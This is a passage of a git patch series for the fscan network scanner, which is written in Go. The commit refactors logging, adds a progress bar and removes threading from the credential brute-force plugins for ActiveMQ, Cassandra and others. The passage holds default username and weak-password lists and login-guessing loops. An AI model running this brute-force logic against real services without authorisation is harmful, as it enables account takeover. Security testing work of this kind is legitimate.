h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= diff --git a/main.go b/main.go index b006f07..e0e752e 100644 --- a/main.go +++ b/main.go @@ -9,6 +9,7 @@ import ( ) func main() { + start := time.Now() var Info Common.HostInfo Common.Flag(&Info) From ceede3cd68d8e03ed6bf476e7bd9326c952fb448 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 1 Jan 2025 07:18:36 +0800 Subject: [PATCH 165/188] =?UTF-8?q?refactor:=20=E8=BE=93=E5=87=BA=E6=A0=BC?= =?UTF-8?q?=E5=BC=8F=E9=87=8D=E6=9E=84=EF=BC=8C=E5=8E=BB=E6=8E=89=E6=89=80?= =?UTF-8?q?=E6=9C=89=E6=8F=92=E4=BB=B6=E7=9A=84=E5=A4=9A=E7=BA=BF=E7=A8=8B?= =?UTF-8?q?=EF=BC=8C=E5=9B=A0=E4=B8=BA=E5=A4=9A=E7=BA=BF=E7=A8=8B=E4=BC=9A?= =?UTF-8?q?=E5=AF=BC=E8=87=B4=E7=BB=93=E6=9E=9C=E4=B8=8D=E5=87=86=E7=A1=AE?= =?UTF-8?q?=EF=BC=8C=E5=8A=A0=E5=85=A5=E8=BF=9B=E5=BA=A6=E6=9D=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 12 ++- Common/Flag.go | 3 +- Common/Log.go | 218 ++++++++++++++++++++----------------- Common/Parse.go | 8 +- Common/ParseScanMode.go | 4 +- Core/ICMP.go | 12 +-- Core/Registry.go | 8 +- Core/Scanner.go | 108 ++++++++++++++++--- Docs/插件编写指南.md | 2 +- Plugins/ActiveMQ.go | 127 +++++++--------------- Plugins/Cassandra.go | 129 ++++++++-------------- Plugins/DCInfo.go | 24 ++--- Plugins/Elasticsearch.go | 129 ++++++++-------------- Plugins/FTP.go | 188 +++++++++----------------------- Plugins/FcgiScan.go | 12 +-- Plugins/FindNet.go | 8 +- Plugins/IMAP.go | 124 +++++++-------------- Plugins/Kafka.go | 130 ++++++++-------------- Plugins/LDAP.go | 129 ++++++++-------------- Plugins/LocalInfo.go | 10 +- Plugins/MSSQL.go | 127 ++++++++-------------- Plugins/MySQL.go | 165 +++++++++------------------- Plugins/Neo4j.go | 129 ++++++++-------------- Plugins/NetBIOS.go | 2 +- Plugins/Oracle.go | 130 ++++++++-------------- Plugins/POP3.go | 138 ++++++++---------------- Plugins/Postgres.go | 130 ++++++++-------------- Plugins/RDP.go | 136 ++++------------------- Plugins/RabbitMQ.go | 185 ++++++++++++++++---------------- Plugins/Redis.go | 12 +-- Plugins/Rsync.go | 129 ++++++++-------------- Plugins/SMB.go | 91 ++++------------ Plugins/SMB2.go | 225 +++++++++++---------------------------- Plugins/SMTP.go | 129 ++++++++-------------- Plugins/SNMP.go | 141 +++++++++--------------- Plugins/SSH.go | 150 +++++++++----------------- Plugins/SmbGhost.go | 2 +- Plugins/Telnet.go | 153 +++++++++----------------- Plugins/Tomcat.go | 177 ------------------------------ Plugins/VNC.go | 138 +++++++++--------------- Plugins/WMIExec.go | 186 ++++++++++++-------------------- Plugins/Zabbix.go | 209 ------------------------------------ README_EN.md | 54 +++++----- WebScan/InfoScan.go | 2 +- WebScan/WebScan.go | 4 +- WebScan/lib/Client.go | 12 +-- go.mod | 4 + go.sum | 6 ++ main.go | 8 +- 49 files changed, 1448 insertions(+), 2911 deletions(-) delete mode 100644 Plugins/Tomcat.go delete mode 100644 Plugins/Zabbix.go diff --git a/Common/Config.go b/Common/Config.go index 22a1230..b2f3240 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -1,5 +1,10 @@ package Common +import ( + "github.com/schollz/progressbar/v3" + "sync" +) + var version = "2.0.0" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, @@ -29,7 +34,12 @@ var Userdict = map[string][]string{ var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} var Outputfile = "result.txt" -var IsSave = true + +// 添加一个全局的进度条变量 +var ProgressBar *progressbar.ProgressBar + +// 添加一个全局互斥锁来控制输出 +var OutputMutex sync.Mutex type PocInfo struct { Target string diff --git a/Common/Flag.go b/Common/Flag.go index d413231..6b0567f 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -113,7 +113,6 @@ func Flag(Info *HostInfo) { // 暴力破解配置 flag.BoolVar(&DisableBrute, "nobr", false, "禁用密码暴力破解") - flag.IntVar(&BruteThreads, "br", 1, "设置密码破解线程数") flag.IntVar(&MaxRetries, "retry", 3, "设置最大重试次数") // 其他配置 @@ -128,7 +127,7 @@ func Flag(Info *HostInfo) { flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)") flag.BoolVar(&NoColor, "nocolor", false, "禁用彩色输出显示") flag.BoolVar(&JsonFormat, "json", false, "以JSON格式输出结果") - flag.StringVar(&LogLevel, "log", LogLevelAll, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)") + flag.StringVar(&LogLevel, "log", LogLevelInfo, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)") flag.Parse() } diff --git a/Common/Log.go b/Common/Log.go index 7c031a8..1e570c5 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -18,19 +18,14 @@ import ( var ( // 全局变量 - status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()} - results = make(chan *LogEntry, 1000) // 使用缓冲通道 - logWG sync.WaitGroup + status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()} // 扫描计数 Num int64 // 总任务数 End int64 // 已完成任务数 -) -// 将 results 改名为 Results 使其可导出 -var ( - Results = results // 使 results 可导出 - LogWG = logWG // 使 logWG 可导出 + // 文件写入器 + fileWriter *bufferedFileWriter ) // ScanStatus 记录扫描状态 @@ -66,16 +61,18 @@ var logColors = map[string]color.Attribute{ LogLevelDebug: color.FgBlue, } -// bufferedFileWriter 文件写入器 -type bufferedFileWriter struct { - file *os.File - writer *bufio.Writer - jsonEnc *json.Encoder +// JsonOutput JSON输出的结构体 +type JsonOutput struct { + Level string `json:"level"` + Timestamp time.Time `json:"timestamp"` + Message string `json:"message"` } -func init() { +func InitLogger() { log.SetOutput(io.Discard) - go processLogs() + if !DisableSave { + fileWriter = newBufferedFileWriter() + } } // formatLogMessage 格式化日志消息 @@ -85,124 +82,108 @@ func formatLogMessage(entry *LogEntry) string { } func printLog(entry *LogEntry) { - // 根据配置的日志级别过滤 - if LogLevel != LogLevelAll && entry.Level != LogLevel { + // 先检查日志级别 + if LogLevel != LogLevelAll && + entry.Level != LogLevel && + !(LogLevel == LogLevelInfo && (entry.Level == LogLevelInfo || entry.Level == LogLevelSuccess)) { return } + OutputMutex.Lock() + defer OutputMutex.Unlock() + logMsg := formatLogMessage(entry) - if NoColor { - fmt.Println(logMsg) - return - } - - if colorAttr, ok := logColors[entry.Level]; ok { - color.New(colorAttr).Println(logMsg) + // 只在输出到终端时处理进度条 + if !NoColor { + // 清除当前行 + fmt.Print("\033[2K\r") + if colorAttr, ok := logColors[entry.Level]; ok { + color.New(colorAttr).Println(logMsg) + } else { + fmt.Println(logMsg) + } } else { fmt.Println(logMsg) } } -// 同样修改 LogError 和 LogInfo func LogError(errMsg string) { - // 获取调用者信息 _, file, line, ok := runtime.Caller(1) if !ok { file = "unknown" line = 0 } - // 只获取文件名 file = filepath.Base(file) - // 格式化错误消息 errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg) - select { - case Results <- &LogEntry{ + if ProgressBar != nil { + ProgressBar.Clear() + } + + entry := &LogEntry{ Level: LogLevelError, Time: time.Now(), Content: errorMsg, - }: - logWG.Add(1) - default: - printLog(&LogEntry{ - Level: LogLevelError, - Time: time.Now(), - Content: errorMsg, - }) + } + + printLog(entry) + if fileWriter != nil { + fileWriter.write(entry) + } + + if ProgressBar != nil { + ProgressBar.RenderBlank() } } func LogInfo(msg string) { - select { - case Results <- &LogEntry{ + if ProgressBar != nil { + ProgressBar.Clear() + } + + entry := &LogEntry{ Level: LogLevelInfo, Time: time.Now(), Content: msg, - }: - logWG.Add(1) - default: - printLog(&LogEntry{ - Level: LogLevelInfo, - Time: time.Now(), - Content: msg, - }) + } + + printLog(entry) + if fileWriter != nil { + fileWriter.write(entry) + } + + if ProgressBar != nil { + ProgressBar.RenderBlank() } } -// LogSuccess 记录成功信息 func LogSuccess(result string) { - // 添加通道关闭检查 - select { - case Results <- &LogEntry{ + if ProgressBar != nil { + ProgressBar.Clear() + } + + entry := &LogEntry{ Level: LogLevelSuccess, Time: time.Now(), Content: result, - }: - logWG.Add(1) - status.mu.Lock() - status.lastSuccess = time.Now() - status.mu.Unlock() - default: - // 如果通道已关闭或已满,直接打印 - printLog(&LogEntry{ - Level: LogLevelSuccess, - Time: time.Now(), - Content: result, - }) } -} -// JsonOutput JSON输出的结构体 -type JsonOutput struct { - Level string `json:"level"` - Timestamp time.Time `json:"timestamp"` - Message string `json:"message"` -} + printLog(entry) + if fileWriter != nil { + fileWriter.write(entry) + } -// processLogs 处理日志信息 -func processLogs() { - writer := newBufferedFileWriter() - defer writer.close() + status.mu.Lock() + status.lastSuccess = time.Now() + status.mu.Unlock() - for entry := range results { - if !Silent { - printLog(entry) - } - - if writer != nil { - writer.write(entry) - } - - logWG.Done() + if ProgressBar != nil { + ProgressBar.RenderBlank() } } func newBufferedFileWriter() *bufferedFileWriter { - if DisableSave { - return nil - } - file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { fmt.Printf("[ERROR] 打开输出文件失败 %s: %v\n", Outputfile, err) @@ -217,28 +198,67 @@ func newBufferedFileWriter() *bufferedFileWriter { } } +type bufferedFileWriter struct { + file *os.File + writer *bufio.Writer + jsonEnc *json.Encoder + mu sync.Mutex // 添加互斥锁保护写入 +} + func (w *bufferedFileWriter) write(entry *LogEntry) { if w == nil { return } + w.mu.Lock() + defer w.mu.Unlock() + + var err error if JsonFormat { output := JsonOutput{ Level: entry.Level, Timestamp: entry.Time, Message: entry.Content, } - if err := w.jsonEnc.Encode(output); err != nil { - fmt.Printf("[ERROR] JSON编码失败: %v\n", err) - } + err = w.jsonEnc.Encode(output) } else { logMsg := formatLogMessage(entry) + "\n" - if _, err := w.writer.WriteString(logMsg); err != nil { - fmt.Printf("[ERROR] 写入文件失败: %v\n", err) - } + _, err = w.writer.WriteString(logMsg) } - w.writer.Flush() + if err != nil { + fmt.Printf("[ERROR] 写入日志失败: %v\n", err) + // 尝试重新打开文件 + if err := w.reopen(); err != nil { + fmt.Printf("[ERROR] 重新打开文件失败: %v\n", err) + return + } + return + } + + // 每隔一定数量的写入才进行一次Flush + if err := w.writer.Flush(); err != nil { + fmt.Printf("[ERROR] 刷新缓冲区失败: %v\n", err) + if err := w.reopen(); err != nil { + fmt.Printf("[ERROR] 重新打开文件失败: %v\n", err) + } + } +} + +func (w *bufferedFileWriter) reopen() error { + if w.file != nil { + w.file.Close() + } + + file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) + if err != nil { + return err + } + + w.file = file + w.writer = bufio.NewWriter(file) + w.jsonEnc = json.NewEncoder(w.writer) + return nil } func (w *bufferedFileWriter) close() { @@ -248,6 +268,12 @@ func (w *bufferedFileWriter) close() { } } +func CloseLogger() { + if fileWriter != nil { + fileWriter.close() + } +} + // CheckErrs 检查是否为需要重试的错误 func CheckErrs(err error) error { if err == nil { diff --git a/Common/Parse.go b/Common/Parse.go index 14a3b51..b925957 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -223,10 +223,10 @@ func ParseInput(Info *HostInfo) error { LogInfo(fmt.Sprintf("暴力破解线程数: %d", BruteThreads)) } - if DisableSave { - IsSave = false - LogInfo("已启用临时保存模式") - } + //if DisableSave { + // IsSave = false + // LogInfo("已启用临时保存模式") + //} // 处理端口配置 if Ports == MainPorts { diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index dae4ada..9b232cb 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,7 +21,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", "modbus", "rsync", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "modbus", "rsync", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -36,7 +36,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", "rsync", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "modbus", "rsync", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Core/ICMP.go b/Core/ICMP.go index 53760a2..d5760c1 100644 --- a/Core/ICMP.go +++ b/Core/ICMP.go @@ -57,7 +57,7 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) { if isPing { protocol = "PING" } - fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol) + fmt.Printf("目标 %-15s 存活 (%s)\n", ip, protocol) } AliveHosts = append(AliveHosts, ip) @@ -76,7 +76,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) { } Common.LogError(fmt.Sprintf("ICMP监听失败: %v", err)) - fmt.Println("[-] 正在尝试无监听ICMP探测...") + fmt.Println("正在尝试无监听ICMP探测...") // 尝试无监听ICMP探测 conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) @@ -87,8 +87,8 @@ func probeWithICMP(hostslist []string, chanHosts chan string) { } Common.LogError(fmt.Sprintf("ICMP连接失败: %v", err)) - fmt.Println("[-] 当前用户权限不足,无法发送ICMP包") - fmt.Println("[*] 切换为PING方式探测...") + fmt.Println("当前用户权限不足,无法发送ICMP包") + fmt.Println("切换为PING方式探测...") // 降级使用ping探测 RunPing(hostslist, chanHosts) @@ -100,7 +100,7 @@ func printAliveStats(hostslist []string) { if len(hostslist) > 1000 { arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i]) + output := fmt.Sprintf("B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i]) Common.LogSuccess(output) } } @@ -109,7 +109,7 @@ func printAliveStats(hostslist []string) { if len(hostslist) > 256 { arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i]) + output := fmt.Sprintf("C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i]) Common.LogSuccess(output) } } diff --git a/Core/Registry.go b/Core/Registry.go index bfb6733..e1b1516 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -81,7 +81,7 @@ func init() { Common.RegisterPlugin("activemq", Common.ScanPlugin{ Name: "ActiveMQ", - Ports: []int{61616, 61613}, + Ports: []int{61613}, ScanFunc: Plugins.ActiveMQScan, }) @@ -115,12 +115,6 @@ func init() { ScanFunc: Plugins.SNMPScan, }) - Common.RegisterPlugin("zabbix", Common.ScanPlugin{ - Name: "Zabbix", - Ports: []int{80, 443, 8080, 8443, 10051}, // Zabbix常用端口 - ScanFunc: Plugins.ZabbixScan, - }) - Common.RegisterPlugin("modbus", Common.ScanPlugin{ Name: "Modbus", Ports: []int{502, 5020}, // Modbus 默认端口 diff --git a/Core/Scanner.go b/Core/Scanner.go index 00b8e57..21f92ff 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -2,12 +2,15 @@ package Core import ( "fmt" + "github.com/schollz/progressbar/v3" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/lib" + "sort" "strconv" "strings" "sync" "sync/atomic" + "time" ) // Scan 执行扫描主流程 @@ -108,13 +111,68 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro if plugins := Common.GetPluginsForMode(mode); plugins != nil { pluginsToRun = plugins - Common.LogInfo(fmt.Sprintf("加载插件组: %s", mode)) } else { pluginsToRun = []string{mode} isSinglePlugin = true - Common.LogInfo(fmt.Sprintf("使用单个插件: %s", mode)) } + loadedPlugins := make([]string, 0) + // 先遍历一遍计算实际要执行的任务数 + actualTasks := 0 + for _, target := range targets { + targetPort, _ := strconv.Atoi(target.Ports) + + for _, pluginName := range pluginsToRun { + plugin, exists := Common.PluginManager[pluginName] + if !exists { + continue + } + + if Common.LocalScan { + if len(plugin.Ports) == 0 { + actualTasks++ + } + continue + } + + if isSinglePlugin { + actualTasks++ + continue + } + + if len(plugin.Ports) > 0 { + if plugin.HasPort(targetPort) { + actualTasks++ + } + } else { + actualTasks++ + } + } + } + + // 初始化进度条 + Common.ProgressBar = progressbar.NewOptions(actualTasks, + progressbar.OptionEnableColorCodes(true), + progressbar.OptionShowCount(), + progressbar.OptionSetWidth(15), + progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"), + progressbar.OptionSetTheme(progressbar.Theme{ + Saucer: "[green]=[reset]", + SaucerHead: "[green]>[reset]", + SaucerPadding: " ", + BarStart: "[", + BarEnd: "]", + }), + progressbar.OptionUseANSICodes(true), + progressbar.OptionSetRenderBlankState(true), + // 设置更新频率 + progressbar.OptionThrottle(65*time.Millisecond), + ) + + // 确保进度条首次渲染 + Common.ProgressBar.RenderBlank() + time.Sleep(100 * time.Millisecond) // 给进度条一个短暂的初始化时间 + for _, target := range targets { targetPort, _ := strconv.Atoi(target.Ports) @@ -127,66 +185,82 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro if Common.LocalScan { if len(plugin.Ports) == 0 { + loadedPlugins = append(loadedPlugins, pluginName) AddScan(pluginName, target, ch, wg) } continue } if isSinglePlugin { + loadedPlugins = append(loadedPlugins, pluginName) AddScan(pluginName, target, ch, wg) continue } if len(plugin.Ports) > 0 { if plugin.HasPort(targetPort) { + loadedPlugins = append(loadedPlugins, pluginName) AddScan(pluginName, target, ch, wg) } } else { + loadedPlugins = append(loadedPlugins, pluginName) AddScan(pluginName, target, ch, wg) } } } + + // 去重并输出实际加载的插件 + uniquePlugins := make(map[string]struct{}) + for _, p := range loadedPlugins { + uniquePlugins[p] = struct{}{} + } + + finalPlugins := make([]string, 0, len(uniquePlugins)) + for p := range uniquePlugins { + finalPlugins = append(finalPlugins, p) + } + sort.Strings(finalPlugins) + + Common.LogInfo(fmt.Sprintf("加载的插件: %s", strings.Join(finalPlugins, ", "))) } // finishScan 完成扫描任务 func finishScan(wg *sync.WaitGroup) { wg.Wait() - // 先发送最后的成功消息 + // 确保进度条完成 + Common.ProgressBar.Finish() + fmt.Println() // 添加一个换行 Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num)) - // 等待日志处理完成后再关闭通道 - Common.LogWG.Wait() - close(Common.Results) } // Mutex用于保护共享资源的并发访问 var Mutex = &sync.Mutex{} -// AddScan 添加扫描任务到并发队列 +// AddScan 也需要修改 func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { - // 获取信号量,控制并发数 *ch <- struct{}{} - // 添加等待组计数 wg.Add(1) - // 启动goroutine执行扫描任务 go func() { defer func() { - wg.Done() // 完成任务后减少等待组计数 - <-*ch // 释放信号量 + wg.Done() + <-*ch }() - // 增加总任务数 Mutex.Lock() atomic.AddInt64(&Common.Num, 1) Mutex.Unlock() - // 执行扫描 ScanFunc(&plugin, &info) - // 增加已完成任务数 - Mutex.Lock() + Common.OutputMutex.Lock() atomic.AddInt64(&Common.End, 1) - Mutex.Unlock() + if Common.ProgressBar != nil { + // 清除当前行 + fmt.Print("\033[2K\r") + Common.ProgressBar.Add(1) + } + Common.OutputMutex.Unlock() }() } diff --git a/Docs/插件编写指南.md b/Docs/插件编写指南.md index b9d8094..e8a3820 100644 --- a/Docs/插件编写指南.md +++ b/Docs/插件编写指南.md @@ -24,7 +24,7 @@ func MyPluginScan(info *Common.HostInfo) error { // 3. 处理结果 if result.Vulnerable { - Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port)) + Common.LogSuccess(fmt.Sprintf("Found vulnerability in %s:%d", info.Host, info.Port)) } return nil diff --git a/Plugins/ActiveMQ.go b/Plugins/ActiveMQ.go index 0be756f..d782104 100644 --- a/Plugins/ActiveMQ.go +++ b/Plugins/ActiveMQ.go @@ -5,7 +5,6 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" - "sync" "time" ) @@ -16,7 +15,6 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads // 首先测试默认账户 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -35,103 +33,60 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["activemq"])*len(Common.Passwords)) + starttime := time.Now().Unix() - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["activemq"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行连接测试 + done := make(chan struct { + success bool + err error + }) - // 执行连接测试 - done := make(chan struct { + go func(user, pass string) { + flag, err := ActiveMQConn(info, user, pass) + done <- struct { success bool err error - }) + }{flag, err} + }(user, pass) - go func(user, pass string) { - flag, err := ActiveMQConn(info, user, pass) - done <- struct { - success bool - err error - }{flag, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + return nil } - - if err != nil { - errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue - } - } - - break + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + if err != nil { + errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + + break } } } @@ -171,7 +126,7 @@ func ActiveMQConn(info *Common.HostInfo, user string, pass string) (bool, error) response := string(respBuf[:n]) if strings.Contains(response, "CONNECTED") { - result := fmt.Sprintf("[+] ActiveMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", + result := fmt.Sprintf("ActiveMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", info.Host, info.Ports, user, pass) Common.LogSuccess(result) return true, nil diff --git a/Plugins/Cassandra.go b/Plugins/Cassandra.go index 8501df6..bb7ad95 100644 --- a/Plugins/Cassandra.go +++ b/Plugins/Cassandra.go @@ -6,7 +6,6 @@ import ( "github.com/shadow1ng/fscan/Common" "strconv" "strings" - "sync" "time" ) @@ -16,7 +15,6 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads starttime := time.Now().Unix() // 首先测试无认证访问 @@ -34,103 +32,60 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) { break } - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["cassandra"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["cassandra"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } - // 执行连接 - done := make(chan struct { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := CassandraConn(info, user, pass) + done <- struct { success bool err error - }) + }{success, err} + }(user, pass) - go func(user, pass string) { - success, err := CassandraConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + return nil } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } } } diff --git a/Plugins/DCInfo.go b/Plugins/DCInfo.go index f195b5d..2db8bf8 100644 --- a/Plugins/DCInfo.go +++ b/Plugins/DCInfo.go @@ -541,7 +541,7 @@ func (d *DomainInfo) GetSPNs() (map[string][]string, error) { _ = entry.GetAttributeValue("cn") spnList := entry.GetAttributeValues("servicePrincipalName") if len(spnList) > 0 { - key := fmt.Sprintf("[*] SPN:%s", dn) + key := fmt.Sprintf("SPN:%s", dn) spns[key] = spnList } } @@ -708,7 +708,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { for _, category := range categories { if computers, ok := specialComputers[category]; ok { - fmt.Printf("[*] %s:\n", category) + fmt.Printf("%s:\n", category) for _, computer := range computers { fmt.Printf("\t%s\n", computer) } @@ -724,7 +724,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) { } // 打印用户信息 - fmt.Println("[*] 域用户:") + 